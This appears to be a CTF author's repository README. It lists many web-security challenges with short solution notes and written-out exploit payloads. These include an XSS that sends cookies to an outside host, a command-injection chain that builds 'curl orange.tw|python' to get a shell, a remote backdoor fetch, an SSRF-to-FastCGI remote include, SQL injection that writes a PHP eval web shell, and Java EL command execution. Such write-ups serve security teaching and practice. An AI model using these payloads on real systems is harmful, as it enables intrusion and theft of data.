Collection of CTF Web challenges I made
This is the repository of all CTF challenges I made, including the source code, write-up and idea explanation! Hope you like it :)
P.s. BTW, the Babyfirst
series and One Line PHP Challenge
are my favorite challenges. If you haven't enough time, please look them at least!
And you can find me via:
Difficulty: ★★ Solved: 22 / 666 Tag: PHP, Code Review, YAML ,Command Injection
False
in YAMLescapeshellarg
by the logic problem of count()
+ unset()
Difficulty: ★ Solved: 49 / 666 Tag: PHP, Code Review
You can flip 1-bit on any file of the latest version of WordPress and you have to pwn the server.
Flip the position 5389
of the file /var/www/html/wp-includes/user.php
to NOP the NOT (!
) operation.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Difficulty: ★★★☆ Solved: 9 / 666 Tag: NFS, SSRF ,RCE
The idea is using the SSRF to communicate with the local NFS/RPC server to get the RCE. To complete the exploit, you have to:
RPC/PORTMAP_CALL
packet and send to gopher://127.0.0.1:111/
to get the port of mountd
service.RPC/MNT_CALL
packet and send to gopher://127.0.0.1:<mnt-port>/
to get the file-handler of /data
volume (remember to specify CURLOPT_LOCALPORT
to bypass the authentication)RPC/NFS_CALL
packet and send to gopher://127.0.0.1:2049/
to create a SYMLINK (remember to specify CURLOPT_LOCALPORT
to bypass the authentication)/app/templates/index.html
to a controllable file to get a SSTI and get the RCE!An dirty exploit code can be found here
Difficulty: ☆ Solved: 25 / 666 Tag: MISC, OSINT ,PHP, Code Review
The website uses a famous Message Board project futaba-ng, and the ID generation is based on REMOTE_ADDR
:
define("IDSEED", 'idの種'); //idの種
...
$now.=" ID:".substr(crypt(md5($_SERVER["REMOTE_ADDR"].IDSEED.gmdate("Ymd", $time+9*60*60)),'id'),-8);
Because of the known IP prefix, you can identify the IP address of Ωrange by brute-force easily.
var_dump( substr(crypt(md5("219.91.64.47"."idの種"."20211203"),"id"),-8) == "ueyUrcwA" )
// bool(true)
Difficulty: ★☆ Solved: 41 / 666 Tag: Browser, Feature
Use the Chrome new feature Text Fragments to extract the flag.
Difficulty: ★★ Solved: 21 / 1281 Tag: BlackBox, Shell ,Command Injection
strace
in htop
to read enable secret./home/oShell/.toprc
with tcpdump -w
top
inspect feature to run arbitrary commandsDifficulty: ★★☆ Solved: 10 / 1281 Tag: XSS
mod_negotiation
, which allows .var
mapping and you can specify arbitrary content-type there.test.var
Content-language: en
Content-type: text/html
Body:----foo----
<script>
fetch('http://orange.tw/?' + escape(document.cookie))
</script>
----foo----
Difficulty: ★★★★★ Solved: 0 / 1281 Tag: WhiteBox, PHP, UAF, PWN
CVE-2015-0273
to pop the shell without known binaries. More detail will be published in my blog soon.Difficulty: ★☆ Solved: 81 / 1147 Tag: WhiteBox, Perl, Command Injection
http://13.231.137.9/cgi-bin/diag.cgi
?options=-r@a="ls -alh /",system@a%23 2>tmp/orange.thtml <
&tpl=orange
Difficulty: ★★★☆ Solved: 30 / 1147 Tag: XSS
Here we use unicode U+2028
and U+3002
to bypass \n
and .
filters.
http://3.114.5.202/fd.php
?q=ssl。orange。tw?xx"%2bdocument[`cookie`]%E2%80%A8-->
http://3.114.5.202/fd.php
?q=ssl。orange。tw?`%2b"%2bdocument[`cookie`];(`${`
Difficulty: ★★★☆ Solved: 16 / 1147 Tag: Environment Injection, MySQL Client Attack
DB_HOST
in BSSLOCALDOMAIN
or HOSTALIAES
/FLAG
by LOAD DATA LOCAL INFILE
.import requests
payload = ['x=x' for x in range(254)]
payload.append('name=x')
payload.append('HOSTALIASES=/proc/self/fd/0')
payload.append('orangeeeee=go')
payload = '&'.join(payload)
data = 'orangeeeee my.orange.tw'
r = requests.post('http://13.231.38.172/cgi-bin/query?'+payload, data=data)
print r.content
$ git clone https://github.com/lcark/MysqlClientAttack.git
$ cd MysqlClientAttack
$ python main.py -F /FLAG
Difficulty: ★★☆ Solved: 42 / 1147 Tag: WhiteBox, Redis, Lua
eval
command by string concatenations so that we can escape the original Lua function to override global objects.http://54.250.242.183/luatic.php
?_POST[TEST_KEY]=return 1 end function math:random() return 2
&_POST[TEST_VALUE]=0
&_POST[MY_SET_COMMAND]=eval
&_POST[token]=<token>
&_POST[guess]=2
http://54.250.242.183/luatic.php
?_POST[token]=<token>
&_POST[guess]=2
Difficulty: ★☆ Solved: 13 / 1147 Tag: ASP.NET, WhiteBox
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61
%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
from urllib import quote
s = lambda x: quote(x.encode('ibm500'))
print '%s=%s&x=%s' % (s('filename'), s('../../FLAG.txt', s('<x>'))
Difficulty: ★★★★ Solved: 3 / 1816 Tag: PHP
P.S. This is a default installation PHP7.2 + Apache on Ubuntu 18.04
PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.cleanup = On
by race condition
or slow query
@<?php
by chaining PHP wrappersDifficulty: ★★★ Solved: 4 / 1816 Tag: Code Review, PHP, De-serialization
Due to the implement of CURLOPT_SAFE_UPLOAD
in CakePHP FormData.php
. We can read arbitrary files!
# arbitrary file read, listen port 12345 on your server
http://13.230.134.135/
?url=http://your_ip:12345/
&data[x]=@/etc/passwd
# arbitrary de-serialization the Monolog POP chain
http://13.230.134.135/
?url=http://your_ip:12345/
&data[x]=@phar://../tmp/cache/mycache/[you_ip]/[md5_of_url]/body.cache
Difficulty: ★★☆ Solved: 27 / 1816 Tag: Observation, DES checksum, Crypto, Web
ECB
mode from block frequency analysisblock size = 8
from cipher lengthDES
in real world3ca92540eb2d0a42
(always in the cipher end). We can guess it's the padding \x08\x08\x08\x08\x08\x08\x08\x08
abcdefghijklmnopqrstuvwxyz
) to 13(acegikmoqsuwy
)
HashCat
Difficulty: ★★ Solved: 10 / 1816 Tag: Web.py, SQL Injection to RCE
Read the package version from requirements.txt
Difficulty: ★★★★ Solved: 1 / 1816 Tag: De-serialization, RCE, ASP.NET, View State
machineKey
in web.config
by Server-Side-Includes(.shtml
or .stm
)ASP.NET
___VIEWSTATE
by ysoserial.net
Difficulty: ★☆ Solved: 95 / 1541 Tag: WhiteBox, PHP, Command Injection
# generate `ls -t>g` to file "_"
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_
# generate `curl orange.tw|python` to file "g"
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# got shell
http://host/?cmd=sh g
You can check the exploit.py for the detail! And there are also lots of creative solutions, you can check the write ups below.
Difficulty: ★★★★ Solved: 8 / 1541 Tag: WhiteBox, PHP, Command Injection
g> ht- sl
to file v
v
to file x
curl orange.tw|python;
x
, ls -th >g
g
You can check exploit.py for the detail!
Difficulty: ★★☆ Solved: 20 / 1541 Tag: WhiteBox, Perl, PATH Pollution
eval
if there is a unknown scheme$ sudo apt install libwww-perl
# write evil URI module to current directory
$ curl http://host/?filename=URI/orange.pm&url=http://orange.tw/w/backdoor.pl
# eval evil module `orange`
$ curl http://host/?filename=xxx&url=orange://orange.tw
Difficulty: ★★★ Solved: 10 / 1541 Tag: WhiteBox, MySQL, PostgreSQL, SQL Injection, Code Injection
max_allowed_packet
dropped large size SQL sentenceUPDATE
syntaxDifficulty: ★★★★☆ Solved: 0 / 1541 Tag: WhiteBox, PHP, Serialization, Apache Prefock
PHAR
parsing\x00lambda_%d
to an anonymous function# get a cookie
$ curl http://host/ --cookie-jar cookie
# download .phar file from http://orange.tw/avatar.gif
$ curl -b cookie 'http://host/?m=upload&url=http://orange.tw/'
# force apache to fork new process
$ python fork.py &
# get flag
$ curl -b cookie "http://host/?m=upload&url=phar:///var/www/data/$MD5_IP/&lucky=%00lambda_1"
Difficulty: ★ Solved: 71 / 1024 Tag: BlackBox, SSL, Pentesting
$ openssl s_client -showcerts -connect 1.2.3.4:443 < /dev/null | openssl x509 -text | grep -A 1 "Subject Alternativer Name"
...
depth=0 C = TW, ST = Some-State, O = Internet Widgits Pty Ltd, CN = very-secret-area-for-ctf.orange.tw, emailAddress = [email protected]
...
# get flag
$ curl -k -H "host: very-secret-area-for-ctf.orange.tw" https://1.2.3.4/
Difficulty: ★★ Solved: 43 / 1024 Tag: WhiteBox, JavaScript, NodeJS
Buffer(int)
to steal uninitialized memory$ while true; do curl 'http://1.2.3.4/?data=Buffer(1e4)' | grep -a hitcon; done;
Difficulty: ★★★ Solved: 24 / 1024 Tag: WhiteBox, PHP, MySQL, SQL Injection, Unserialize
SELECT 'Ä'='a'
is True# get password
curl http://1.2.3.4/
?data=O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:39:"'union%20select%201,2,password%20from%20users%23";}}
# get flag
curl http://1.2.3.4/
?data=O:6:"HITCON":2:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:7:"orÄnge";i:1;s:13:"babytrick1234";}}
Difficulty: ★★☆ Solved: 43 / 1024 Tag: GrayBox, Java
new String(new byte[] {1, -1, 1, -1})
will output 01EFBFBD01EFBFBD
, not 01FF01FF
Difficulty: ★★★★ Solved: 4 / 1024 Tag: GrayBox, Java, Seam Framework, CSS RPO, EL Injection, Java Deserialization
actionOutcome
P.s. I made this challenge because once when I try to review the code of Seam Framework, I found some 0-days and I think it must have more. So I throw out the brick to attract a jade. And the result is more than I expected :P
Intended solution
Register an account
username: `AAAAAA`
password: `AAAAAA`
realname: `{/*';*/}%0a@import'http://orange.tw/?`
Report URL
http://1.2.3.4:8080/angryseam/profile.seam?actionOutcom>e=/profile.seam?username%3dAAAAAA
Unintended solution
/?x=#{expressions.instance().createValueExpression(request.getHeader('cmd')).getValue()}
GET /angryseam/template.seam?actionMethod=template.xhtml:util.escape(sessionScope['user'].getDescription()) HTTP/1.1
host: 1.2.3.4
cmd: #{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),request.getHeader('ccc'))}
ccc: ls -alh
...
Unintended solution
Unintended solution
Solved: 33 / 969 Difficulty: ★★ Tag: WhiteBox, PHP, Command Injection
NewLine
to bypass regular expression check<?php
highlight_file(__FILE__);
$dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
if ( !file_exists($dir) )
mkdir($dir);
chdir($dir);
$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) )
exit();
}
exec("/bin/orange " . implode(" ", $args));
?>
http://localhost/
?args[0]=x%0a
&args[1]=mkdir
&args[2]=orange%0a
&args[3]=cd
&args[4]=orange%0a
&args[5]=wget
&args[6]=846465263%0a
http://localhost/
?args[0]=x%0a
&args[1]=tar
&args[2]=cvf
&args[3]=aa
&args[4]=orange%0a
&args[5]=php
&args[6]=aa
And there are also lots of creative solutions, you can check the write ups below.
Difficulty: ★★★ Solved: 18 / 969 Tag: GrayBox, C, PWN
ARGV[1]
Difficulty: ★★★☆ Solved: 16 / 969 Tag: WhiteBox, PHP
TBD
Difficulty: ★★★☆ Solved: 2 / 969 Tag: BlackBox, PHP, SSRF
<?php
header( "Location: gopher://127.0.0.1:9000/x%01%01Zh%00%08%00%00%00%01%00%00%00%00%00%00%01%04Zh%00%86%00%00%0E%03REQUEST_METHODGET%0F%0ASCRIPT_FILENAME/www/a.php%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%09%26PHP_VALUEauto_prepend_file%20%3D%20http%3A//orange.tw/x%01%04Zh%00%00%00%00%01%05Zh%00%00%00%00" );
Solved: 1 / 969 Difficulty: ★★★★☆ Tag: WhiteBox, PHP, UAF, PWN
TBD
Solved: 8 / 1020 Difficulty: ★★ Platform: BlackBox, PHP, H2, SQL Injection
TBD
Solved: 30 / 1020 Difficulty: ★★☆ Tag: WhiteBox, Python, Collision, HPP
TBD
Solved: 2 / 1020 Difficulty: ★★★ Tag: BlackBox, ColdFusion, Apache
# get password
$ curl http://1.2.3.4/admin%252f%252ehtpasswd%2500.cfm
# get flag
$ curl http://1.2.3.4/admin/thefl4g.txt
Solved: 0 / 12 Difficulty: ★★★★ Tag: GrayBox, PHP, JAVA, mod_jk, H2, SQL Injection, WAF
Get source code
http://1.2.3.4/login/..;/
Review code and find a way to bypass WAF
$ curl "http://1.2.3.4/news/?id=1~~~~' and 1=2 union select null,null,version(),null--"
$ curl "http://1.2.3.4/news/?id=1~~~~' and 1=2 union select null,null,file_read('/etc/apache2/sites-enabled/000-default.conf'),null--"
Write shell
$ curl "http://1.2.3.4/news/?id=1~~~~' and 1=2 union select null,null,file_write('3c3f706870206576616c28245f504f53545b6363635d293b3f3e', '/www/write_shell_here_=P/.a.php'),null--"
$ curl "http://1.2.3.4/write_shell_here_=P/.a.php" -d 'phpinfo();'
TBD
Solved: 0 / ?? Difficulty: ★★★ Tag: WhiteBox, PHP, SQL Injection, LFI, Race Condition
Run exploit.py to win race condition
Login and SQL Injection
$ curl http://1.2.3.4/sqlpwn.php -d 'title=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\¬e=, concat(0x3a3a3a3a3a3a,(select pass from users where name=0x6f72616e6765)))#'
Local file inclusion with session
$ curl http://1.2.3.4/sqlpwn.php?mode=admin&boom=../../../../../../var/lib/php5/sess_243220